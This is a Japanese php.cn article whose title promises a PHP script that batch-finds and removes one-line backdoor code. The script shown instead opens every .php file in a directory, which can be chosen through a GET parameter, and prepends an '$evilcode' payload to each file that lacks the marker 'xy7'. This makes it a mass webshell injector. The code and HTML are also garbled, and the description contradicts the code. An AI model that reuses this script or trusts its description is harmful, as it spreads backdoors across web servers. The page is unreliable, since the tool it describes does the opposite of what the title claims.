ホームページ  >  記事  >  php教程  >  PHP を使用してバッチ クエリを実装し、一文のバックドア コードをクリアする

PHP を使用してバッチ クエリを実装し、一文のバックドア コードをクリアする

WBOY
WBOYオリジナル
2016-06-13 12:30:00851ブラウズ

いつもどのファイルに文章を入れたか忘れてしまうので、全部消してしまいます...

コードをコピー コードは次のとおりです:


if (!isset($dir) または empty($dir)) {
$dir=str_replace('\','/',dirname(__FILE__) ));
echo "".$dir."";
} else {
$dir=$_GET['dir' ];
echo "".$dir."";
}
$evilcode=" ";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php') ){
$fp = @fopen($filea, 'r ');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp) ;
$ old = @fread($fp, filesize($filea));
fwrite($fp, $evilcode . $old); >fclose($fp );
}
closedir($testdir)

<テーブル幅="100%" ="0" セルパディング ="3" セルスペース="1">

td>時間
サイズ ?php
$dirs=@opendir($dir) );
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg(".php {0,1}$",$file))
{$b="$dir/$file";
$a=@is_dir($b);
if($a== "0"){
$size=@filesize ("$dir/$file");
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file" ));
echo "n ";
echo "$filen";
echo " $lastsaven" ;
echo " $size バイト< ;/td>n";
}
}
}
@closedir($dirs);
?>
gt;

codz投稿者: xuanmumu

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。